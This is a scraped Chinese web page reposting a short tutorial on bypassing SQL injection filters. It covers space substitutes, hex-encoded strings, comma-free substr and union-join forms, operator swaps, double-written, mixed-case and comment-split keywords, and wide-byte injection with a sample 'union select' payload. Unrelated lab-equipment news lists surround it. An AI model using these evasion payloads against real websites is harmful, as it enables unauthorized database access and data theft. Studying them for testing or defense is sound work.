sql注入常见绕过方法

您所在的位置:网站首页 select被过滤怎么注入 sql注入常见绕过方法

sql注入常见绕过方法

2024-07-15 02:38:42| 来源: 网络整理| 查看: 265

一.绕过空格

1.使用tab缩进尝试绕过

2.尝试使用%a0来代替空格

3.使用()括号来绕过:

4.使用注释符号/**/绕过

二.过滤双引号绕过

使用十六进制代替

 将zhangsan变为16进制后正常输出

三.绕过逗号 

1.使用from

布尔型盲注的时候用来猜数据库名称时的测试语句通常为

1 and substr(database(),1,1)='e'--+

使用from for变为:

1 and substr (substr(database() from 1  for 1))='e'--+

2.使用join

union 联合注入查询通常使用的语句为

union select 1,2 --+

使用join变为

union select *  from (select 1)a join (select 2)b --+

3.offset 

limit 语句通常为从第几条开始取多少条数据,后面跟上offset,limit表示要取的数据量,offset表示要跳过的数据量

四.过滤or 、and、xor、not绕过

and = &&

or = ||

xor = |#(异或)

not = !

  =  !=  (不等于)

五.绕过等号

使用like,%表示通配符

六.绕过union,selcet,where,from等

1.双写绕过

如果防火墙只对敏感函数做了一次过滤,可以尝试使用双写绕过

union select * from test ;

变为:

ununionion sselectelect  * ffromrom test;

2.大小写绕过

如果防火墙只匹配全部小写或者大写的敏感函数,可以尝试使用大小写绕过

union select * from test ;

变为

UniON SelecT * From test;

3.注释符绕过

若防火墙只匹配完整的敏感函数可以使用注释符号将其分隔开来尝试绕过

union select * from test ;

变为:

u/**/nion sele/**/ct * fro/**/m test;

七.单引号过滤绕过

单引号被过滤可能是因为被转译了,这个时候我们可以尝试使用宽字节注入来尝试绕过

宽字节注入:web网站和数据库的编码格式不一样,导致信息传输的过程中单引号逃逸。gbk编码为两个字符,askii码为1个字节,使用%df‘,带入数据库的时候就会把单引号转义,变成%df\',正好反斜线的askii编码%5c和%df组成了一个新的汉字字符,导致单引号逃逸

示列:php?id=-1%df ' union select 1,2 --+



【本文地址】

公司简介

联系我们

今日新闻


点击排行

实验室常用的仪器、试剂和
说到实验室常用到的东西,主要就分为仪器、试剂和耗
不用再找了,全球10大实验
01、赛默飞世尔科技(热电)Thermo Fisher Scientif
三代水柜的量产巅峰T-72坦
作者:寞寒最近,西边闹腾挺大,本来小寞以为忙完这
通风柜跟实验室通风系统有
说到通风柜跟实验室通风,不少人都纠结二者到底是不
集消毒杀菌、烘干收纳为一
厨房是家里细菌较多的地方,潮湿的环境、没有完全密
实验室设备之全钢实验台如
全钢实验台是实验室家具中较为重要的家具之一,很多

推荐新闻


图片新闻

实验室药品柜的特性有哪些
实验室药品柜是实验室家具的重要组成部分之一,主要
小学科学实验中有哪些教学
计算机 计算器 一般 打孔器 打气筒 仪器车 显微镜
实验室各种仪器原理动图讲
1.紫外分光光谱UV分析原理:吸收紫外光能量,引起分
高中化学常见仪器及实验装
1、可加热仪器:2、计量仪器:(1)仪器A的名称:量
微生物操作主要设备和器具
今天盘点一下微生物操作主要设备和器具,别嫌我啰嗦
浅谈通风柜使用基本常识
 众所周知,通风柜功能中最主要的就是排气功能。在

专题文章

    CopyRight 2018-2019 实验室设备网 版权所有 win10的实时保护怎么永久关闭